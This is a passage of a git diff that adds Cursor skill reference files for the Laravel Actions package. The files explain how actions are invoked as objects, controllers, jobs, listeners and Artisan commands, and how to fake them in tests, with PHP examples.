+Use these methods intentionally based on what you want to prove.
+
+#### `mock()`
+
+- Replaces the action with a full mock.
+- Best when you need strict expectations and argument assertions.
+
+```php
+PublishArticle::mock()
+ ->shouldReceive('handle')
+ ->once()
+ ->with(42)
+ ->andReturnTrue();
+```
+
+#### `partialMock()`
+
+- Replaces the action with a partial mock.
+- Best when you want to keep most real behavior but stub one expensive/internal method.
+
+```php
+PublishArticle::partialMock()
+ ->shouldReceive('fetchRemoteData')
+ ->once()
+ ->andReturn(['ok' => true]);
+```
+
+#### `spy()`
+
+- Replaces the action with a spy.
+- Best for post-execution verification ("was called with X") without predefining all expectations.
+
+```php
+$spy = PublishArticle::spy()->allows('handle')->andReturnTrue();
+
+// execute code that triggers the action...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+#### `shouldRun()`
+
+- Shortcut for `mock()->shouldReceive('handle')`.
+- Best for compact orchestration assertions.
+
+```php
+PublishArticle::shouldRun()->once()->with(42)->andReturnTrue();
+```
+
+#### `shouldNotRun()`
+
+- Shortcut for `mock()->shouldNotReceive('handle')`.
+- Best for guard-clause tests and branch coverage.
+
+```php
+PublishArticle::shouldNotRun();
+```
+
+#### `allowToRun()`
+
+- Shortcut for spy + allowing `handle`.
+- Best when you want execution to proceed but still assert interaction.
+
+```php
+$spy = PublishArticle::allowToRun()->andReturnTrue();
+// ...
+$spy->shouldHaveReceived('handle')->once();
+```
+
+#### `isFake()` and `clearFake()`
+
+- `isFake()` checks whether the class is currently swapped.
+- `clearFake()` resets the fake and prevents cross-test leakage.
+
+```php
+expect(PublishArticle::isFake())->toBeFalse();
+PublishArticle::mock();
+expect(PublishArticle::isFake())->toBeTrue();
+PublishArticle::clearFake();
+expect(PublishArticle::isFake())->toBeFalse();
+```
+
+### Recommended test matrix for Actions
+
+- Business rule test: call `handle(...)` directly with real dependencies/factories.
+- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`.
+- Job wiring test: dispatch action as job, assert expected downstream action calls.
+- Event listener test: dispatch event, assert action interaction via fake/spy.
+- Console test: run artisan command, assert action invocation and output.
+
+### Practical defaults
+
+- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests.
+- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification.
+- Prefer `mock()` when interaction contracts are strict and should fail fast.
+- Use `clearFake()` in cleanup when a fake might leak into another test.
+- Keep side effects isolated: fake only the action under test boundary, not everything.
+
+### Pest style examples
+
+```php
+it('dispatches the downstream action', function () {
+ SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0);
+
+ FinalizeInvoice::run(123);
+});
+
+it('does not dispatch when invoice is already sent', function () {
+ SendInvoiceEmail::shouldNotRun();
+
+ FinalizeInvoice::run(123, alreadySent: true);
+});
+```
+
+Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file.
+
+## Troubleshooting Checklist
+
+- Ensure the class uses `AsAction` and namespace matches autoload.
+- Check route registration when used as controller.
+- Check queue config when using `dispatch`.
+- Verify event-to-listener mapping in `EventServiceProvider`.
+- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`.
+
+## Common Pitfalls
+
+- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`.
+- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`.
+- Assuming listener wiring works without explicit registration where required.
+- Testing only entrypoints and skipping direct `handle(...)` behavior tests.
+- Overusing Actions for one-off, single-context logic with no reuse pressure.
+
+## Topic References
+
+Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules.
+
+- Object entrypoint: `references/object.md`
+- Controller entrypoint: `references/controller.md`
+- Job entrypoint: `references/job.md`
+- Listener entrypoint: `references/listener.md`
+- Command entrypoint: `references/command.md`
+- With attributes: `references/with-attributes.md`
+- Testing and fakes: `references/testing-fakes.md`
+- Troubleshooting: `references/troubleshooting.md`
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/command.md b/.cursor/skills/laravel-actions/references/command.md
new file mode 100644
index 000000000..a7b255daf
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/command.md
@@ -0,0 +1,160 @@
+# Command Entrypoint (`asCommand`)
+
+## Scope
+
+Use this reference when exposing actions as Artisan commands.
+
+## Recap
+
+- Documents command execution via `asCommand(...)` and fallback to `handle(...)`.
+- Covers command metadata via methods/properties (signature, description, help, hidden).
+- Includes registration example and focused artisan test pattern.
+- Reinforces separation between console I/O and domain logic.
+
+## Recommended pattern
+
+- Define `$commandSignature` and `$commandDescription`.
+- Implement `asCommand(Command $command)` for console I/O.
+- Keep business logic in `handle(...)`.
+
+## Methods used (`CommandDecorator`)
+
+### `asCommand`
+
+Called when executed as a command. If missing, it falls back to `handle(...)`.
+
+```php
+use Illuminate\Console\Command;
+
+class UpdateUserRole
+{
+ use AsAction;
+
+ public string $commandSignature = 'users:update-role {user_id} {role}';
+
+ public function handle(User $user, string $newRole): void
+ {
+ $user->update(['role' => $newRole]);
+ }
+
+ public function asCommand(Command $command): void
+ {
+ $this->handle(
+ User::findOrFail($command->argument('user_id')),
+ $command->argument('role')
+ );
+
+ $command->info('Done!');
+ }
+}
+```
+
+### `getCommandSignature`
+
+Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set.
+
+```php
+public function getCommandSignature(): string
+{
+ return 'users:update-role {user_id} {role}';
+}
+```
+
+### `$commandSignature`
+
+Property alternative to `getCommandSignature`.
+
+```php
+public string $commandSignature = 'users:update-role {user_id} {role}';
+```
+
+### `getCommandDescription`
+
+Provides command description.
+
+```php
+public function getCommandDescription(): string
+{
+ return 'Updates the role of a given user.';
+}
+```
+
+### `$commandDescription`
+
+Property alternative to `getCommandDescription`.
+
+```php
+public string $commandDescription = 'Updates the role of a given user.';
+```
+
+### `getCommandHelp`
+
+Provides additional help text shown with `--help`.
+
+```php
+public function getCommandHelp(): string
+{
+ return 'My help message.';
+}
+```
+
+### `$commandHelp`
+
+Property alternative to `getCommandHelp`.
+
+```php
+public string $commandHelp = 'My help message.';
+```
+
+### `isCommandHidden`
+
+Defines whether command should be hidden from artisan list. Default is `false`.
+
+```php
+public function isCommandHidden(): bool
+{
+ return true;
+}
+```
+
+### `$commandHidden`
+
+Property alternative to `isCommandHidden`.
+
+```php
+public bool $commandHidden = true;
+```
+
+## Examples
+
+### Register in console kernel
+
+```php
+// app/Console/Kernel.php
+protected $commands = [
+ UpdateUserRole::class,
+];
+```
+
+### Focused command test
+
+```php
+$this->artisan('users:update-role 1 admin')
+ ->expectsOutput('Done!')
+ ->assertSuccessful();
+```
+
+## Checklist
+
+- `use Illuminate\Console\Command;` is imported.
+- Signature/options/arguments are documented.
+- Command test verifies invocation and output.
+
+## Common pitfalls
+
+- Mixing command I/O with domain logic in `handle(...)`.
+- Missing/ambiguous command signature.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-command.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/controller.md b/.cursor/skills/laravel-actions/references/controller.md
new file mode 100644
index 000000000..d48c34df8
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/controller.md
@@ -0,0 +1,339 @@
+# Controller Entrypoint (`asController`)
+
+## Scope
+
+Use this reference when exposing an action through HTTP routes.
+
+## Recap
+
+- Documents controller lifecycle around `asController(...)` and response adapters.
+- Covers routing patterns, middleware, and optional in-action `routes()` registration.
+- Summarizes validation/authorization hooks used by `ActionRequest`.
+- Provides extension points for JSON/HTML responses and failure customization.
+
+## Recommended pattern
+
+- Route directly to action class when appropriate.
+- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`).
+- Keep domain logic in `handle(...)`.
+
+## Methods provided (`AsController` trait)
+
+### `__invoke`
+
+Required so Laravel can register the action class as an invokable controller.
+
+```php
+$action($someArguments);
+
+// Equivalent to:
+$action->handle($someArguments);
+```
+
+If the method does not exist, Laravel route registration fails for invokable controllers.
+
+```php
+// Illuminate\Routing\RouteAction
+protected static function makeInvokable($action)
+{
+ if (! method_exists($action, '__invoke')) {
+ throw new UnexpectedValueException("Invalid route action: [{$action}].");
+ }
+
+ return $action.'@__invoke';
+}
+```
+
+If you need your own `__invoke`, alias the trait implementation:
+
+```php
+class MyAction
+{
+ use AsAction {
+ __invoke as protected invokeFromLaravelActions;
+ }
+
+ public function __invoke()
+ {
+ // Custom behavior...
+ }
+}
+```
+
+## Methods used (`ControllerDecorator` + `ActionRequest`)
+
+### `asController`
+
+Called when used as invokable controller. If missing, it falls back to `handle(...)`.
+
+```php
+public function asController(User $user, Request $request): Response
+{
+ $article = $this->handle(
+ $user,
+ $request->get('title'),
+ $request->get('body')
+ );
+
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `jsonResponse`
+
+Called after `asController` when request expects JSON.
+
+```php
+public function jsonResponse(Article $article, Request $request): ArticleResource
+{
+ return new ArticleResource($article);
+}
+```
+
+### `htmlResponse`
+
+Called after `asController` when request expects HTML.
+
+```php
+public function htmlResponse(Article $article, Request $request): Response
+{
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `getControllerMiddleware`
+
+Adds middleware directly on the action controller.
+
+```php
+public function getControllerMiddleware(): array
+{
+ return ['auth', MyCustomMiddleware::class];
+}
+```
+
+### `routes`
+
+Defines routes directly in the action.
+
+```php
+public static function routes(Router $router)
+{
+ $router->get('author/{author}/articles', static::class);
+}
+```
+
+To enable this, register routes from actions in a service provider:
+
+```php
+use Lorisleiva\Actions\Facades\Actions;
+
+Actions::registerRoutes();
+Actions::registerRoutes('app/MyCustomActionsFolder');
+Actions::registerRoutes([
+ 'app/Authentication',
+ 'app/Billing',
+ 'app/TeamManagement',
+]);
+```
+
+### `prepareForValidation`
+
+Called before authorization and validation are resolved.
+
+```php
+public function prepareForValidation(ActionRequest $request): void
+{
+ $request->merge(['some' => 'additional data']);
+}
+```
+
+### `authorize`
+
+Defines authorization logic.
+
+```php
+public function authorize(ActionRequest $request): bool
+{
+ return $request->user()->role === 'author';
+}
+```
+
+You can also return gate responses:
+
+```php
+use Illuminate\Auth\Access\Response;
+
+public function authorize(ActionRequest $request): Response
+{
+ if ($request->user()->role !== 'author') {
+ return Response::deny('You must be an author to create a new article.');
+ }
+
+ return Response::allow();
+}
+```
+
+### `rules`
+
+Defines validation rules.
+
+```php
+public function rules(): array
+{
+ return [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ];
+}
+```
+
+### `withValidator`
+
+Adds custom validation logic with an after hook.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function withValidator(Validator $validator, ActionRequest $request): void
+{
+ $validator->after(function (Validator $validator) use ($request) {
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+ });
+}
+```
+
+### `afterValidator`
+
+Alternative to add post-validation checks.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function afterValidator(Validator $validator, ActionRequest $request): void
+{
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+}
+```
+
+### `getValidator`
+
+Provides a custom validator instead of default rules pipeline.
+
+```php
+use Illuminate\Validation\Factory;
+use Illuminate\Validation\Validator;
+
+public function getValidator(Factory $factory, ActionRequest $request): Validator
+{
+ return $factory->make($request->only('title', 'body'), [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ]);
+}
+```
+
+### `getValidationData`
+
+Defines which data is validated (default: `$request->all()`).
+
+```php
+public function getValidationData(ActionRequest $request): array
+{
+ return $request->all();
+}
+```
+
+### `getValidationMessages`
+
+Custom validation error messages.
+
+```php
+public function getValidationMessages(): array
+{
+ return [
+ 'title.required' => 'Looks like you forgot the title.',
+ 'body.required' => 'Is that really all you have to say?',
+ ];
+}
+```
+
+### `getValidationAttributes`
+
+Human-friendly names for request attributes.
+
+```php
+public function getValidationAttributes(): array
+{
+ return [
+ 'title' => 'headline',
+ 'body' => 'content',
+ ];
+}
+```
+
+### `getValidationRedirect`
+
+Custom redirect URL on validation failure.
+
+```php
+public function getValidationRedirect(UrlGenerator $url): string
+{
+ return $url->to('/my-custom-redirect-url');
+}
+```
+
+### `getValidationErrorBag`
+
+Custom error bag name on validation failure (default: `default`).
+
+```php
+public function getValidationErrorBag(): string
+{
+ return 'my_custom_error_bag';
+}
+```
+
+### `getValidationFailure`
+
+Override validation failure behavior.
+
+```php
+public function getValidationFailure(): void
+{
+ throw new MyCustomValidationException();
+}
+```
+
+### `getAuthorizationFailure`
+
+Override authorization failure behavior.
+
+```php
+public function getAuthorizationFailure(): void
+{
+ throw new MyCustomAuthorizationException();
+}
+```
+
+## Checklist
+
+- Route wiring points to the action class.
+- `asController(...)` delegates to `handle(...)`.
+- Validation/authorization methods are explicit where needed.
+- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful.
+- HTTP tests cover both success and validation/authorization failure branches.
+
+## Common pitfalls
+
+- Putting response/redirect logic in `handle(...)`.
+- Duplicating business rules in `asController(...)` instead of delegating.
+- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-controller.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/job.md b/.cursor/skills/laravel-actions/references/job.md
new file mode 100644
index 000000000..b4c7cbea0
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/job.md
@@ -0,0 +1,425 @@
+# Job Entrypoint (`dispatch`, `asJob`)
+
+## Scope
+
+Use this reference when running an action through queues.
+
+## Recap
+
+- Lists async/sync dispatch helpers and conditional dispatch variants.
+- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`.
+- Documents queue assertion helpers for tests (`assertPushed*`).
+- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling.
+
+## Recommended pattern
+
+- Dispatch with `Action::dispatch(...)` for async execution.
+- Keep queue-specific orchestration in `asJob(...)`.
+- Keep reusable business logic in `handle(...)`.
+
+## Methods provided (`AsJob` trait)
+
+### `dispatch`
+
+Dispatches the action asynchronously.
+
+```php
+SendTeamReportEmail::dispatch($team);
+```
+
+### `dispatchIf`
+
+Dispatches asynchronously only if condition is met.
+
+```php
+SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team);
+```
+
+### `dispatchUnless`
+
+Dispatches asynchronously unless condition is met.
+
+```php
+SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team);
+```
+
+### `dispatchSync`
+
+Dispatches synchronously.
+
+```php
+SendTeamReportEmail::dispatchSync($team);
+```
+
+### `dispatchNow`
+
+Alias of `dispatchSync`.
+
+```php
+SendTeamReportEmail::dispatchNow($team);
+```
+
+### `dispatchAfterResponse`
+
+Dispatches synchronously after the HTTP response is sent.
+
+```php
+SendTeamReportEmail::dispatchAfterResponse($team);
+```
+
+### `makeJob`
+
+Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains.
+
+```php
+dispatch(SendTeamReportEmail::makeJob($team));
+```
+
+### `makeUniqueJob`
+
+Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced.
+
+```php
+dispatch(SendTeamReportEmail::makeUniqueJob($team));
+```
+
+### `withChain`
+
+Attaches jobs to run after successful processing.
+
+```php
+$chain = [
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+];
+
+CreateNewTeamReport::withChain($chain)->dispatch($team);
+```
+
+Equivalent using `Bus::chain(...)`:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::chain([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+])->dispatch();
+```
+
+Chain assertion example:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::fake();
+
+Bus::assertChained([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+]);
+```
+
+### `assertPushed`
+
+Asserts the action was queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushed();
+SendTeamReportEmail::assertPushed(3);
+SendTeamReportEmail::assertPushed($callback);
+SendTeamReportEmail::assertPushed(3, $callback);
+```
+
+`$callback` receives:
+- Action instance.
+- Dispatched arguments.
+- `JobDecorator` instance.
+- Queue name.
+
+### `assertNotPushed`
+
+Asserts the action was not queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertNotPushed();
+SendTeamReportEmail::assertNotPushed($callback);
+```
+
+### `assertPushedOn`
+
+Asserts the action was queued on a specific queue.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushedOn('reports');
+SendTeamReportEmail::assertPushedOn('reports', 3);
+SendTeamReportEmail::assertPushedOn('reports', $callback);
+SendTeamReportEmail::assertPushedOn('reports', 3, $callback);
+```
+
+## Methods used (`JobDecorator`)
+
+### `asJob`
+
+Called when dispatched as a job. Falls back to `handle(...)` if missing.
+
+```php
+class SendTeamReportEmail
+{
+ use AsAction;
+
+ public function handle(Team $team, bool $fullReport = false): void
+ {
+ // Prepare report and send it to all $team->users.
+ }
+
+ public function asJob(Team $team): void
+ {
+ $this->handle($team, true);
+ }
+}
+```
+
+### `getJobMiddleware`
+
+Adds middleware to the queued action.
+
+```php
+public function getJobMiddleware(array $parameters): array
+{
+ return [new RateLimited('reports')];
+}
+```
+
+### `configureJob`
+
+Configures `JobDecorator` options.
+
+```php
+use Lorisleiva\Actions\Decorators\JobDecorator;
+
+public function configureJob(JobDecorator $job): void
+{
+ $job->onConnection('my_connection')
+ ->onQueue('my_queue')
+ ->through(['my_middleware'])
+ ->chain(['my_chain'])
+ ->delay(60);
+}
+```
+
+### `$jobConnection`
+
+Defines queue connection.
+
+```php
+public string $jobConnection = 'my_connection';
+```
+
+### `$jobQueue`
+
+Defines queue name.
+
+```php
+public string $jobQueue = 'my_queue';
+```
+
+### `$jobTries`
+
+Defines max attempts.
+
+```php
+public int $jobTries = 10;
+```
+
+### `$jobMaxExceptions`
+
+Defines max unhandled exceptions before failure.
+
+```php
+public int $jobMaxExceptions = 3;
+```
+
+### `$jobBackoff`
+
+Defines retry delay seconds.
+
+```php
+public int $jobBackoff = 60;
+```
+
+### `getJobBackoff`
+
+Defines retry delay (int or per-attempt array).
+
+```php
+public function getJobBackoff(): int
+{
+ return 60;
+}
+
+public function getJobBackoff(): array
+{
+ return [30, 60, 120];
+}
+```
+
+### `$jobTimeout`
+
+Defines timeout in seconds.
+
+```php
+public int $jobTimeout = 60 * 30;
+```
+
+### `$jobRetryUntil`
+
+Defines timestamp retry deadline.
+
+```php
+public int $jobRetryUntil = 1610191764;
+```
+
+### `getJobRetryUntil`
+
+Defines retry deadline as `DateTime`.
+
+```php
+public function getJobRetryUntil(): DateTime
+{
+ return now()->addMinutes(30);
+}
+```
+
+### `getJobDisplayName`
+
+Customizes queued job display name.
+
+```php
+public function getJobDisplayName(): string
+{
+ return 'Send team report email';
+}
+```
+
+### `getJobTags`
+
+Adds queue tags.
+
+```php
+public function getJobTags(Team $team): array
+{
+ return ['report', 'team:'.$team->id];
+}
+```
+
+### `getJobUniqueId`
+
+Defines uniqueness key when using `ShouldBeUnique`.
+
+```php
+public function getJobUniqueId(Team $team): int
+{
+ return $team->id;
+}
+```
+
+### `$jobUniqueId`
+
+Static uniqueness key alternative.
+
+```php
+public string $jobUniqueId = 'some_static_key';
+```
+
+### `getJobUniqueFor`
+
+Defines uniqueness lock duration in seconds.
+
+```php
+public function getJobUniqueFor(Team $team): int
+{
+ return $team->role === 'premium' ? 1800 : 3600;
+}
+```
+
+### `$jobUniqueFor`
+
+Property alternative for uniqueness lock duration.
+
+```php
+public int $jobUniqueFor = 3600;
+```
+
+### `getJobUniqueVia`
+
+Defines cache driver used for uniqueness lock.
+
+```php
+public function getJobUniqueVia()
+{
+ return Cache::driver('redis');
+}
+```
+
+### `$jobDeleteWhenMissingModels`
+
+Property alternative for missing model handling.
+
+```php
+public bool $jobDeleteWhenMissingModels = true;
+```
+
+### `getJobDeleteWhenMissingModels`
+
+Defines whether jobs with missing models are deleted.
+
+```php
+public function getJobDeleteWhenMissingModels(): bool
+{
+ return true;
+}
+```
+
+### `jobFailed`
+
+Handles job failure. Receives exception and dispatched parameters.
+
+```php
+public function jobFailed(?Throwable $e, ...$parameters): void
+{
+ // Notify users, report errors, trigger compensations...
+}
+```
+
+## Checklist
+
+- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`).
+- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`).
+- Retry/backoff/timeout policies are intentional.
+- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required.
+- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`).
+
+## Common pitfalls
+
+- Embedding domain logic only in `asJob(...)`.
+- Forgetting uniqueness/timeout/retry controls on heavy jobs.
+- Missing queue-specific assertions in tests.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-job.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/listener.md b/.cursor/skills/laravel-actions/references/listener.md
new file mode 100644
index 000000000..c5233001d
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/listener.md
@@ -0,0 +1,81 @@
+# Listener Entrypoint (`asListener`)
+
+## Scope
+
+Use this reference when wiring actions to domain/application events.
+
+## Recap
+
+- Shows how listener execution maps event payloads into `handle(...)` arguments.
+- Describes `asListener(...)` fallback behavior and adaptation role.
+- Includes event registration example for provider wiring.
+- Emphasizes test focus on dispatch and action interaction.
+
+## Recommended pattern
+
+- Register action listener in `EventServiceProvider` (or project equivalent).
+- Use `asListener(Event $event)` for event adaptation.
+- Delegate core logic to `handle(...)`.
+
+## Methods used (`ListenerDecorator`)
+
+### `asListener`
+
+Called when executed as an event listener. If missing, it falls back to `handle(...)`.
+
+```php
+class SendOfferToNearbyDrivers
+{
+ use AsAction;
+
+ public function handle(Address $source, Address $destination): void
+ {
+ // ...
+ }
+
+ public function asListener(TaxiRequested $event): void
+ {
+ $this->handle($event->source, $event->destination);
+ }
+}
+```
+
+## Examples
+
+### Event registration
+
+```php
+// app/Providers/EventServiceProvider.php
+protected $listen = [
+ TaxiRequested::class => [
+ SendOfferToNearbyDrivers::class,
+ ],
+];
+```
+
+### Focused listener test
+
+```php
+use Illuminate\Support\Facades\Event;
+
+Event::fake();
+
+TaxiRequested::dispatch($source, $destination);
+
+Event::assertDispatched(TaxiRequested::class);
+```
+
+## Checklist
+
+- Event-to-listener mapping is registered.
+- Listener method signature matches event contract.
+- Listener tests verify dispatch and action interaction.
+
+## Common pitfalls
+
+- Assuming automatic listener registration when explicit mapping is required.
+- Re-implementing business logic in `asListener(...)`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-listener.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/object.md b/.cursor/skills/laravel-actions/references/object.md
new file mode 100644
index 000000000..6a90be4d5
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/object.md
@@ -0,0 +1,118 @@
+# Object Entrypoint (`run`, `make`, DI)
+
+## Scope
+
+Use this reference when the action is invoked as a plain object.
+
+## Recap
+
+- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`.
+- Clarifies when to use static helpers versus DI/manual invocation.
+- Includes minimal examples for direct run and service-level injection.
+- Highlights boundaries: business logic stays in `handle(...)`.
+
+## Recommended pattern
+
+- Keep core business logic in `handle(...)`.
+- Prefer `Action::run(...)` for readability.
+- Use `Action::make()->handle(...)` or DI only when needed.
+
+## Methods provided
+
+### `make`
+
+Resolves the action from the container.
+
+```php
+PublishArticle::make();
+
+// Equivalent to:
+app(PublishArticle::class);
+```
+
+### `run`
+
+Resolves and executes the action.
+
+```php
+PublishArticle::run($articleId);
+
+// Equivalent to:
+PublishArticle::make()->handle($articleId);
+```
+
+### `runIf`
+
+Resolves and executes the action only if the condition is met.
+
+```php
+PublishArticle::runIf($shouldPublish, $articleId);
+
+// Equivalent mental model:
+if ($shouldPublish) {
+ PublishArticle::run($articleId);
+}
+```
+
+### `runUnless`
+
+Resolves and executes the action only if the condition is not met.
+
+```php
+PublishArticle::runUnless($alreadyPublished, $articleId);
+
+// Equivalent mental model:
+if (! $alreadyPublished) {
+ PublishArticle::run($articleId);
+}
+```
+
+## Checklist
+
+- Input/output types are explicit.
+- `handle(...)` has no transport concerns.
+- Business behavior is covered by direct `handle(...)` tests.
+
+## Common pitfalls
+
+- Putting HTTP/CLI/queue concerns in `handle(...)`.
+- Calling adapters from `handle(...)` instead of the reverse.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-object.html
+
+## Examples
+
+### Minimal object-style invocation
+
+```php
+final class PublishArticle
+{
+ use AsAction;
+
+ public function handle(int $articleId): bool
+ {
+ // Domain logic...
+ return true;
+ }
+}
+
+$published = PublishArticle::run(42);
+```
+
+### Dependency injection invocation
+
+```php
+final class ArticleService
+{
+ public function __construct(
+ private PublishArticle $publishArticle
+ ) {}
+
+ public function publish(int $articleId): bool
+ {
+ return $this->publishArticle->handle($articleId);
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/testing-fakes.md b/.cursor/skills/laravel-actions/references/testing-fakes.md
new file mode 100644
index 000000000..97766e6ce
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/testing-fakes.md
@@ -0,0 +1,160 @@
+# Testing and Action Fakes
+
+## Scope
+
+Use this reference when isolating action orchestration in tests.
+
+## Recap
+
+- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`).
+- Clarifies when to assert execution versus non-execution.
+- Covers fake lifecycle checks/reset (`isFake`, `clearFake`).
+- Provides branch-oriented test examples for orchestration confidence.
+
+## Core methods
+
+- `mock()`
+- `partialMock()`
+- `spy()`
+- `shouldRun()`
+- `shouldNotRun()`
+- `allowToRun()`
+- `isFake()`
+- `clearFake()`
+
+## Recommended pattern
+
+- Test `handle(...)` directly for business rules.
+- Test entrypoints for wiring/orchestration.
+- Fake only at the boundary under test.
+
+## Methods provided (`AsFake` trait)
+
+### `mock`
+
+Swaps the action with a full mock.
+
+```php
+FetchContactsFromGoogle::mock()
+ ->shouldReceive('handle')
+ ->with(42)
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `partialMock`
+
+Swaps the action with a partial mock.
+
+```php
+FetchContactsFromGoogle::partialMock()
+ ->shouldReceive('fetch')
+ ->with('some_google_identifier')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `spy`
+
+Swaps the action with a spy.
+
+```php
+$spy = FetchContactsFromGoogle::spy()
+ ->allows('handle')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `shouldRun`
+
+Helper adding expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldReceive('handle');
+```
+
+### `shouldNotRun`
+
+Helper adding negative expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldNotRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldNotReceive('handle');
+```
+
+### `allowToRun`
+
+Helper allowing `handle` on a spy.
+
+```php
+$spy = FetchContactsFromGoogle::allowToRun()
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `isFake`
+
+Returns whether the action has been swapped with a fake.
+
+```php
+FetchContactsFromGoogle::isFake(); // false
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+```
+
+### `clearFake`
+
+Clears the fake instance, if any.
+
+```php
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+FetchContactsFromGoogle::clearFake();
+FetchContactsFromGoogle::isFake(); // false
+```
+
+## Examples
+
+### Orchestration test
+
+```php
+it('runs sync contacts for premium teams', function () {
+ SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue();
+
+ ImportTeamContacts::run(42, isPremium: true);
+});
+```
+
+### Guard-clause test
+
+```php
+it('does not run sync when integration is disabled', function () {
+ SyncGoogleContacts::shouldNotRun();
+
+ ImportTeamContacts::run(42, integrationEnabled: false);
+});
+```
+
+## Checklist
+
+- Assertions verify call intent and argument contracts.
+- Fakes are cleared when leakage risk exists.
+- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer.
+
+## Common pitfalls
+
+- Over-mocking and losing behavior confidence.
+- Asserting only dispatch, not business correctness.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-fake.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/troubleshooting.md b/.cursor/skills/laravel-actions/references/troubleshooting.md
new file mode 100644
index 000000000..cf6a5800f
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/troubleshooting.md
@@ -0,0 +1,33 @@
+# Troubleshooting
+
+## Scope
+
+Use this reference when action wiring behaves unexpectedly.
+
+## Recap
+
+- Provides a fast triage flow for routing, queueing, events, and command wiring.
+- Lists recurring failure patterns and where to check first.
+- Encourages reproducing issues with focused tests before broad debugging.
+- Separates wiring diagnostics from domain logic verification.
+
+## Fast checks
+
+- Action class uses `AsAction`.
+- Namespace and autoloading are correct.
+- Entrypoint wiring (route, queue, event, command) is registered.
+- Method signatures and argument types match caller expectations.
+
+## Failure patterns
+
+- Controller route points to wrong class.
